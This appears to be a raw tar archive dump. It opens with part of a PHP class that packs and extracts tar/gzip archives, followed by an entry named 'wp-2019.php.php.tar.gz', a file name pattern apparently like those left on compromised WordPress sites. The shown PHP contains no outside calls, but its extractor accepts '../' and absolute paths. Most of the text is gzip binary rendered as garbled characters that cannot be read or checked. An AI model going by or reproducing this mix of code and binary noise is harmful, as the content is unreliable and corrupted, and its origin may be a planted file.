$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>wp-2019.php.php.tar.gz000064400000062415151167307500010303
0ustar00��is+I���,���X�P���q' ���M
qd������H;ҚͮI���d���֤�I3�V���/���%G8H���i�X�H
w���2��T��
�Eg"u���t�:B�_��>�;��O��H(t0�F�>�����Q�?�9�Oo�?MT���F[���}������{.+MDn*��@T�%�����B%x.��}i�P]Rd���s=����y�+.��d���΄�>TTiK�^q��OY�xzq�;��N��$��Bo��zNg������N�)J�*�X�da
��ӧ�&�(�'l�'[(;@��*�t��-��雙x��T�~$,�����.��L����W����S&�RԽ]e��{bQ���L�#����<i��AfHL}����[+
G�õ~�/*BOT��,���!C�]pNeq�Ud]�QyH��$m66�7tQ����P'�~���B�9h��Փ*jhP�VGч��ҕ�`"Zj��<�TafIc��5��ua
Ih,Q��SuE�t�5QP�C7PP+OI=ܯ<�B�)N�7�����?�Q?�w��$�alj��������}��h!�7'3�f�'����i�����A]��6��d��t=��̣�'���I]b`��������hR��O�8���hdR�D]�䁆8v0Q:;Cl��3
Y
ꓸ�)��4s\��ՓBw��q�J�Ӆ�Dbw�p�X�=�t'*N@��"��L8�>�]�)?p�D=�L�25hr
�8e!��Ѫ�M,�\��.�j>~����>����7?���W�PEn�,8mA?��S��!��"�%��I* E�pN�a�jhVN6�w�g�A����/?���?�p?����������j��_B��@-�5i���C�!��oP��|�-���ѧ��|�
����?�6^�cI��!��~��Q���פ��PZ"���!����
�?��Έ�#�>���C�5*�W��?BU� ��W� ���/PZJ���R�oT�ʟ�҇hj
j?�e�"�o���t�������6pA낦Lh�P����k���#@��D�.��R@�ߡ�4J&,���6N�h$�wI�!-v-X�T�O��F�4%(�o�7rz�,����� ���"`���Sd�hS�Cy�j$� 2�!���}�2HN��UC�A�ȃ��
����$m�Ψ��rJq�J0��*��?�/���s��o��-Fź~C�G�
P���>���5��YY"�H#��?���1Y�Ŭdž���`��SR�Ӣt��/?�����@RC���vX��� �?�,U���H�����?B�e!SN�E���i�'��
d ,�@�
���"J���@T���Q�"^����ʂ3��1�E��A��GX����B*Ul>����B
�#wxT�
F�?R����cєz�Ɂ��)�P��.L���A��f�+�+R�`IXd�%,C,+8�,
�)��4*pojh��5����<�I]�J\�'e��Lz�%QՔ�l��^\�qο����?:����A;?kbhcY�-�����F�
%T
�]��|� }4e9��0�g*b2��
C�C�l���
�5�_��h��!G�
19�,���?�\PZ4&�m�IՅ�I���
��XfEMX������HTóݘ��x�2��&��S��1�x�FU@�6TVd,��0QPz'��IkʤG��Q�˨�{�Wx��ژ
x�jĠ����ԙ S�/�
�;+u�)�Ͱ����S4�d�X.�2�R
� e!���&�W&��*
���ſEC�k<3�m6flq����+�ͦ0Y�$�w�IS2܈HeC��eKd�+s�l�����/�lAia����܌ĿܬӒӌ���IV���T��D���Í5Bd&����T���*����.
f �iWRp'JOt:8���J]U���u�S����s[��>Ba0F@�TU�8���8���ѯ��~-�w&�Ch{:�7γ�j�����������q�RX&����:\܅�}�����ȶB<�E�����_8��y���"�y����,��B��Sa��8�������F��ʠIN��4�
z�0~{�r���/L4��
@iw\rht�a���"`�f4��}I�'f�AQD�K���U9(�B*2;h�(��
]�q�i��3�
�4�rish�������o��I���,<^�.8�%g��`�N�C�\�~+iO�b*�R�ق��S�u�sM^pA��A���M�t����i�F��s��2s,�,�8�p����^�!�2-@�\�q��%�>H�n�f�&�R�(�:Z�)wRAC��q,IcB�s~�Չc�ԫ'C�rpWטo=d��� ��N2QQ�hh�hO���<<�<h"I}Z�X�X�����82o� �5@I���_��Ա,����&mb�LUl7
�ߑQu�[�J�
��&��R�Xxf=K>��CH�Ľ]a2T4�ado`f�TE������^����XυÊ�LU֛<(�$���YO4{*�$�>�3T�#>����e�Q��+�\�N�Ҥ��B>��a�s��0�;���3�""��bP&����e�&E\�L���|�/�
��A6F�{�4�I&���C��niG�j�;c����}�=+
J'6d �.lT�]����,����uTe�hb�Ӷ`}�-���D-Smf��7���S"���ן��R���e@���Q�{�|A\'�.��*��z�������p�Gl%t��N.'hIAb��D����p0�\Z��3�4D#��� 2<D�����F�Z'�ؘ|������36�{��@�C�O$Q�8����"O��̢܁2���T8��bS8,~KC݀q���;$�,��2�C��z
:� O�z�5��l$�*��I.: �h>�'�iQ���k
�I�O
��<kI�H34���D/ ������ w��
���,vEM*w��(tQ�����y;j�����`1��(cz�hg�칭�KO�R��J�g��S>UNg�?9��)���3OO��:Pə*�V�w��������>\�?��8uz�{�p�����7��)��5�J+��LF-��*��;���Q��j�ߟ:��^2~<���\l�qNL���1���� VнW�ӓ�au�9(�O'dE�����-���ު�ѕ����I&�� ���=�YX(���]�x�E3�-���O��7g�/�E��v�D�����$����B�9k*��tby�
ԣ��hN@�+��4β�`A
���jNL<ǹ�"�>@Xw�,���Y6��F������d3�*�gѲ@%��1�&N�7�H�:�5�2Y)?�cO�P�8��ڒM�샸S��S36��m-�˅<�䱵��1թf'��]^��b��gT�2W�S��q�pI/ޠ��@NZ�[ηN�|>wue|$$���:��
s�sR��C�L;�D�"F�N�3�l��`1T;���@ELP�$��ǜ6�H���<0d����c�{X��K�U�0���M�~�l>[�f�L��Y���XVV���%��3*Y^ɠ��RH*۰��w��q�Q{���^Y_��]��lʢ|{r�6�ak��.���v�!қ��,fϴ�����7�ءބ^ӛ���<(�\��������&@՟�
+T���bk�xIE�Ux�%)�:�HBK4�b�#�gfB�dy��x96=�玫k����!�>��C}X�?�f��U
��"ٲ��%0���L��7YG�/�"{�HK�7!��yH�ܩ�-�M��+�ڑ���݄���F��-�!�þ4�X
'���b��#6D��2�j�®S��_�¦/y�5vVl�
p�g�������@��k��N�� ƺĥ�����`;�ݓ'
`�"F�C?6��ȥ�ڶ��4];P�d(±*'_]�<-i3E���N�uD�)J��xAͫS�7�8��K��}���LD�f3��c
�G���_�T�z���@�M/Q����K�E�d�}�6F�l_TOq�������<Ї��CY�r�텓�d�
�.��@��(�&;t��2�pȔB˻�Zf0���L�-�<ܩ�:���7}QAZofZL�
3�p�p8����@�#;u��!��)ds3�iD&]�w'�&����$:]��%���~���B\I�9�]G�y��G�Q�}�]�w]r���p|"9:���l�b_��<��j�d�)*"�����B]5K���NE"��u��E�^�}��iwA�?:]�Z2Qʬ���UQ��$�w�O��u|+w��e��,�
}����^sp_
}��z��]�\.��k��'���s��@
[�h�M{�2�����G>��W0[�2B��u��{�g��.כ�+˂F8 ���W��o��
~I��';�y�Z�e�(��}e�ӒM*_ -gcl���ű �g=��b�@6�p6�VVs��>�U�(��Kq=��*���3��<Ɋױ�d�X�e�(mL`�#��b+?i����N�|Z߁���΅��2�����!�`�?Û��=�����{�ƚ�64���
b5
Y�*�A�u�����&������$�ٻ'��G�ga:m��t�,��|)�ԃ�h#��Ơ�N[w�(0�[�Ũ�TM݈5�rZ��Y���汖g~<��� ˤK�'���¾}ʾ��k�,1Je���Q�!Ք�n��9���3L�3]��Du8�b�g��$%pqDR��ԝ�ˢ$S�D~���*��Nߡi���:�H�H�9� ��#m�?BI��3i�-/\;�M8u�`��y���Ny�4q���P%�axIY�su�|&��Pb�W����C<����:$������Z:.PK^�5)��'
��cbQ�mc�:�f#n��Wp��d4������]�)y�x�ME}��N�«�r{uzz�~K0��hS:����{t�!Pd�괧t�3{�]������^
��r�N9h�d�n�Lh��;dR���8�ʙ��^or�RB��w��W�'GE_�.v���W���^��Ww��W�'gh_��_�_�8����[�TA�߂�3E�t<��*
IX�}o���Hԃr��&xM��p�&����/�<��;�]!daG�鰧�=6���Dk
uu(�'|�,�"�����$u��k��}�A@K�Sw"
��Vw��
Mc'�h��;9�!��p�vT��&&\Y\q�
�"ٶ�,�9>z���(ǁ<��~^�C���Fe:��-�G&�W�����ю��i�ĸ�k���5�LhNW��A;�*�G�2in+7�`g�B��̴�}�DpM�x�"���M�\��g���1~V��{��v���
�LEV��l_Dz�l�k)olgb�a�q1���B�E�/wT��eo1�]YeU\���u(k&�k<9�w�a[ަ�;�"� 4��3m"hC�#ø`��s/-��U���_Pt�ÛӋɄ��% IG���P����&=� ���8��>��wJU}�Qܪ�(+&�+-pt�����k�f�
/�Ր;4�(�IA�h{�A����ɧ3�D���� I��<h��0
+@�:���]�=>Ck�@q�A��z��Iչ�l�|ǁ:���ɋ)2�IO3�`�d`���h
���=!'��r��|�^�'�뀏ƨ���*p���*U�$�ڄ��&�R���<IX�XX�NWp�9�$���C�r"@���|E��C�ʗj�j�˗�e]�f���Ԝ�I5�TFo툌"'�a<w6�CV�1�i*sZ��N�|�k��^ˉ���,}��f!��]��V��q�}�ErZzt�߅�1+|�#�k��H!�T10�0;ic�D�^~ʗ3�eJ���z��7�vJ
�z�����wJ��װ˦ Kr��.i؝3����i�|z�{�9��tz�ߋ��l��!s�7�_�c�&Ҩ�RQ?���NJ�ϒ,"0����\w(rj"u�W�HPb�A�:?8^�d�a�!l.�XuPC�_�P�B�G���0��+,^�mV�H�+�-���Wp>�K�:�eF���2���HTBM�����F�k�+�ʉ�}4��oLs�#D"�&I�8�]d�����G�p�]9�pԕ�Z�.tc��'.�@0|P��=t9�����<����Tu�ͅ�t��cz��VK�����Lo�����W8�gÖ�l��BS XJ#%�:�X�4}�{eL�#q7�}���
;6ztY$/��s�a����<>u�"ۻ�v)+�Uˮf�k։�d�K_�YC��~]���Lv(ղyub�31�� �l����2��صE�O���&��_ҳچ���Q�LvT�>�I!MO�i�]�n��4㼢�����
�4T�"��6h��5�(!����@��x2��y.�=�\`�fpi
Ȇ�,t�A]e��\�?c��0v�&\l�sMQ� 2�����F�,E]�XA����{jv�U)��A��m��M6��Fd�{#M��@��Czl��M�8��~�1�y�8H�I&�4���9��8��B�8Oњ)\�~&.��z�f�\]�
���@?�Zc�iЧ$|MTR�;��+�:|H�z�z#�H�|i�P�TP�Z�g�Y��G�#�G?z�ت�*��P0P�̂w��@:�뭙���U��&�п�9��I�?���Q^uo���@
�(��]�B@N&���6��F���7���@
�7�P]S��JѶ�@dq?��Z�HCn�Ħ�H&
I�?
���-�R�9pߏB��;�*NÝV����Q����z�u�|Կ�Z������ ����(3���[5���|\h��C���''y!����R�|��v��{�ȥ�oՏ����m�Qyl*ZL΄�~�wG���AMn
'�l��=�x��X�h������ �zޯ�@*4��ਥN�0�m}���nj[Q�w7ə��ӹ4�x��;*b��x3�k"ڏy��ν�>���Sz��P�n���l�ǒ��hSt��@�n�+&�м8(5�"w�dp��O�"��N�_��=�c|t�y�����8XW���]¿Y��Y��߶f�6���{S(
��8Vz��E�ۀ.��X,�q?�jᭅ�T�ѣ�X�SX��Dp
7���p��nv=h���<�X
���^��zEַ�.���6F����0⇻��Ym�x�;���k_c��?�I$��Nz��e��^��l��`��v��dǝ��$��譇ޤ1m�7����
��$SiV�F��UZ--!eb�xk�n���\����2)I�S��r��'�@�V���͕$�:�y�QT�����B!W�;}�m��B�XZ�E+ZZW����f�$��H|>['��ĭ/SOT6�Ʋ��|V���M�.�
��$P���H�]I�[��_�,b�l1��$�H$GҤ�W|�@;(��i��i�^�}Zp���"�E;�X=4�ɪ0j��^c1JI��J73��|t#7&���?o5���
��p*y��W��:uW��m���m�Ψ��`puE��X�3��D/V�#�-�R>u�bw�Q��&;g��nw��:���[��u�!�]�"���d��zxs���� �c���f5�>�2g���������́1�?��N����U��.!\x���a�[
!�ۉ��#�Z���z{��3U���;͝Fvs�v����A��z�pd8���X5z�k/;��>k¸�s��t_�����v(�иW�O�r�!QMg�O��r�|�C�pgp#�cM�i��zd�<��B�����w��r��n�ف쎲z�����N~gk��ᵢ�����
�1��֚U �ًƆ���}����C��j3Af3�8���n�v�y({}�>^�D�ķ��o�=z5M7��0n��֨��XNd���ְ�}�sl3\���s����1�!��
��˄C����-�3��b6U�M���R������n�[v����"���`����ڽ��0�]:<�o�W�8�
��S.S�@I����.^g3��y"u��NB����j���{hDBy�Y���G�Ô�>���\WWT��,b�å���Ҷى�^.����
�^�*x��(H����`^��
�T�&�0]en�VpQE4��f�
�<�
�!�e3/�AH"�KVoP몄f
E�st�3��R�:��u\<�
s@> �3->��-�|E�����wˡ���<�
�����s���xM$��_��K?�#dJ��k���
H2�Q^��o]Xg�>��+x��7�<��%# e��q|�3��A��+�G���aKf��8p��ї�볥�����/�<�@����a��95�yL�Ġ&�&*��rp�}:e�X}�P`�j�k�Vi�5g�.:��
��4'����uE��<�Y�l/D���"��#�jq%��Z��*m��q,����`q��Rxu8��[0���9�$mo���Q�C�>;u�ԓm�J��h]��ap�{�F'v�
��ȹ��,@J�PfQ�7v�^��
�PX�ƄPl��� �*�������Ʊ��hs�}[q�IFN�][�h,����lW$�0k��K��g]*�+�əl�����dο���\5&l��J�zf|��˳Io�w\F���٢���b>�ڃ$~�9 -�K($�E`{����LpPw�Q�
��r��S�F��Dt�:~��N{��~Rx�3�ʡ�?^��y���F�����e FU|�d�$��k���e���EBD����Ӆ�?��r��C&�RW�?���ӕ�ӇW=B���/��!�
�s�+
��O�`����]���3�:Joc�8C�٥��|-& ޓ�
(1�NA�Ň,K���cZ������<�qp[2��`�$����^�e�]/o<#OǒD#3�Y}:8��I7g�Cz�51G�4=q�2�οdޱ�\E���
z��ozBh�F5O'�y{��kb�ͬ=dž�5H�B��FN���vI�3�d'���昮AO��kIw�mN�I���D��t����/�\-��p�?M�.ظ��
5HHF�,��5qB�x�l�b���-d_L]�~ ��YG_�9��.��wf�1uMZ�� d#��0��
��!������}s��*;&c;c1�9��Z��4����m�kڬO[g�E�p&=B��7�攱OZ�L��0jX�b-�ǵ�̎7�aea|/bgB�
�c;�,����?h�8�M��)��X�C?�5�^D��7=F�L[Wׇs���.� ��_%���.��g�� ����+�ؗ�1x�"�~�;96�4&j�8���ģnݗg�pzӸh�lڢ��.4�`��|(z��!9KKOx�Ya-�vp\�+ď�����JB���r��� ��r���\���<\�꾄���j(1|u_K{��U��w��m��֯���uK8H�`٣�88�d�3�Pv�ew�3{6�z�Y�0X�L#>���a�T��
Q"�f�岸��
;cK��q�Cf)��ӻ�N�f�FACv�e�5L�;ɽt�!���]���:����XO��@��-�b���7��;H��g����+l�%�n4���"�\��[|q}��>ߥ�8�H
�����u�
�Qt]�z�o�P?��r�_x����X?΅�s�ߋ�}.�G�B�'�8��Kr/���:A�y'��
�2�f|�j`�A�N_#)�h���D�:}�
[y|z�P'�U|a��bGm U��D)��{x��"6;jΟX�yhl�7�H�٤{(x����+~����<�i�-�J��R�j�|��`d'r�R�4R*1� �:^��-��b9����%��|�Z�����|�g<�W��d�/��$Ҩ�R�j&��B�WЧ��7��z5Q��J����6�+��.Դ��w#XϛUlWA�85��z�)�����w����w.��MC"�
�&��>N�E�5�M<u���)��W6h��]SN�/���T�k�/0�3���x��ɵ1�� h�۱,��i/4eg�
�x�]��d���)O�P~Jh��*߾��wV���8+I�
��{.�����^�|;>�}���dsqr��۸~o��&��9I���y�Z�
;���ܥ��x�z�FbǺ}�H$�����aaQ�{ �a�S��P��,�:�t$�V��:�x,��Wb,U��D0�}�9�E0��z��{eE�ŗ����W��]gpx��o�d2�cl�������C���9�_����J`�@��A6�_��P����؊A�($���~�i/la�o��F�Y��Mg2�L�Z4x��?M�l�[h�b�ؠ�
�m{��U|�H6b
��#qY,@.��c�
��#z�/��~�J���0.K�f���3���)e�J؈�
��ߠ�|�t�9
��ct�ڷ99�p~qz��E_�.4[aa�Q2q��X�!��G;�~�Ew�{"o���9��~����{=0IW�Ɋ���:��� &�F)��In:����k$7#An��f�~���e5UI�IF_6��|>{��B�Ƹ֚�+�JM
Uv�lt3�j���Ť��(�GJ�.��h�R$��P("弤����b$ąX��)����B�b�v��'R��C-]��Z��y#/f�Tz��BbeQ�g
�7�D&!m۩얯�%�C�}z����r�H���b*�N����]rsï�ye6�&Z�L�����b*�h$2��h\���9�כ��D�Υ��@q��&�D.!�ݝz"��o'�D%ٙ�2̈́��"D����D��}S�e�*��Nk�J8Q�t�h��T0q�.g�M"1�C�U)ߘ%�(j/�ߔB�|����b�n,V[,2��
dh����J���vR)�:��=�!e;?֕@�r;����<m��d)�b��T5[����x*�Z�\R"��$�G�X���J�Ž;�u�]�
P������rosJ"�T�:?�O����8Xz}��V�b#��e�ɗV�P�>�0�v@|�K��:s�iug��~X^M�D��k��P���CŨt��l[ٛ�h�Ҷ�z��݆��\�V�7|�[�UϷ)fj��CJi���Z��L��1�$5
�B�1�-���ܫ;wp�Hh9ŝx\T�°�Z�j�n�ᦞ-���}!ډ�4
�Az��ҡn<Ȼc<��h����Z��H<�+��^ж�M
��ZH%j2����\j�H��do�L��AI��n���0�JMk����AAؤ*���v=�]K&�+�%�B^�w��j�J���4?�n��Bq�LU��MbPo�n)����`4���P���'Q��T�VJV���Zj�
e��g���~>���C�:��e���6��&��tד|nӨ�b3���R�)�e�}SYO�r��tՊp�Z�_��%�ĺ�Uy�Jn�3�tb��J)�>�R��h�Hjb����Us�J/B��s�{�Jm�xL��Lϗ���d-;�{�D[��`p���2=嶴��ٛ��P�g�[U����Vk�_��|1u��Qb��:�2��ҦR�w��贒O׳l���os�i��w��y[�Ւ�h��vn�In�
$�M�q,��t8}?ι+��D+����P5�y���浡<ɔ�p�=��o�M�,4�4+H��D��>),-Q�l���H.
���Z��X���t�(�f�{�[oz�j�<�'}�rVuK��Ľ��Z��Ç�:4��i'����I0Wp��V���keU�ިӲ�N�'�fs0ץY,۾)�f�¤&4se�,L糹*�z3�,6����W���~4�ȍ�\o�g�J��i�Y9"�̧���W��M�ͷƹ�n�n勧g��@k��]k�
ܵ��@�?h�y���3��M)��E����60��pe[*��mcYn�G��Px�v߮}��,
�c,)��eA��r���^��͵:� �����
zu��˺��
""�?����A%�\��1ջi��r���I=(t�u�t_W����FG��^4���#-Y
�I��D��� ���:^�
�!��͛tv��V�qR���Al]o�;�U��wb�l��[JT"���!�jժ�^&�ě�Q�u?�ɹ���8�:]at;hM��.��Y):����
����~���B�䟍�ӭo���[��˾H
bV��X䚷ڢ*�&�BWaS ?�V�9�i>A��į.�E�[�E'�/��z[^E�k]��n[+?���b�O��CVn
{�{X�ܑ��]�/�@���nҭ~;=�zC���n���CY���vqf㷝Y1�km��@�~��Ԭ�,w|���
��n�~+���P�X�u�ř�Y�R�z��������i��Y-J
�/J��,��rl�7S�^����w��e�T�ݼ�-��M���s'��G9�������Wz��/{��뎏��}�mW��(>4��R,���z���'�l�W��||�U�WIɃT#�^�o�\�aU��of�|�]�ߪ�v_�DrTH�+�fr*��cR�e�MySQk7�pxTwó4����
��\q�݆n�M1w
���@��s���~5�)m��z�z��g�|�Ս�P�)��ߗ��bT���Z��D��7��Cf��֫pQ�/JӰ��X�_� ͂R�]�f�H�g�+Q�)����l-̊üV�����\���*��|��n��zo�PN�r�{+�%�Z�s�@��-���x0�?�k��\��8���I����ٸ��K7���v.fg�@>������V�6n'ו�2��ˁ�{&���&��;E��!R�71qR��
�rEM4�E$8+���*���h�ޤ�mK.�ۂ*K�R���n�E��.e��3Z�j�V���ze!�攰6Z�ŞV��B�����b��<P����Ro��E_�Mű_4�ɍRLꕬY����!��]��߫��C�V����;ۚ�a��
w���@ ތ&�Po�Q���m�7���C����N#b)?�Nz&�'n�1=
���/?��?>~��R����m�֖���k�ۭ��k��}��TQ���nݹh5:ԣ��/Zz�<D�A��]�z3�l���f��ߺ����H�v��C��(�˝�}���%x�M~ ��r�_
����(�R#�ny�v��Yp��J���9jos!������H�{�b��
=eU˙�:�y��Yj�,ՙ^�.�Nk���c+��יe5V�k�tx��Nµe��y��H�X��mhӛ���
s鎢���}9P�;nw$sS�Ə��$�2�,?�B���&�nԛ���t�<��^Y��z=&F��BP�IW��Q
��@'�.�R,ڋ��X����\���R���q���Ց����rt�գ�~<��+�I:��7�Kw�4Zo��Ս8��o�U������b����dˍ��E.���h�.�e�>X�G�����$���k�Ev�Z���f$�/�ڣ���o&�2�y�LxQMD��e
�I����q��kF}��R_=���up��c�uw5���)|`�ͺ�Џ�����e�і��m�=
�\k��Ti>qK�T|Ʒ�o��a��L���kud
r��M/3)U+�n*���
'b.Q(�Ÿ��۾�M�^h�J5����w�\>��e*���Ͳ��4ܒ;�%���ؿ���mƗ�K4�)�:�db����k�i;؞�o��&<O�b�d�W���߬�c�@9�n.�����6�|#��yG���*��G阻\+�)w�1R��a�x����T��Z���,��D�����]v��k_o���Be�[���(�2�a�Tyh皃`����]
�H�q&�J߷�����o6n��B-��C�. �T90)ɽ�z4i-g�P��.Jm�cr=S�p���Ȓ���ܽ�u��l�q0X(R�1���_�������8��g�Vi���CkQ�U*��좕i"u��_�֒^P+��bڒZ���65n�7釕6p���j�U��o֥�<�O���?1��j���4+ea*ʛJT�DCZ>�ugn�TV'�l�,��E%��F+w���!�p�
����x-���dg7w�FfQh7+)>��M�|�����'��
d�\�/Ģ���-��dy�ĺ�~w��{�%��'���J�6�@}�
4+��L��qmQ��R�.�"��Ͼ��}!?�B~�������/�g_�Ͼ��}!?�B~������������L�&cc� >���z%)�d�;������]"?���2�V��t-��%�r_Ϭ��8+�Z��ds�ɭuv��l��Dߠ%��I|O�������1�r��Ѡ<H��˨۽A����n|��M/b��h�l�Ȧ�"k
q�T�b4j
�5d���}�y�ݓ[�`6��W�w��?�g�5�
��b��P�9D�f*Q�gH3R
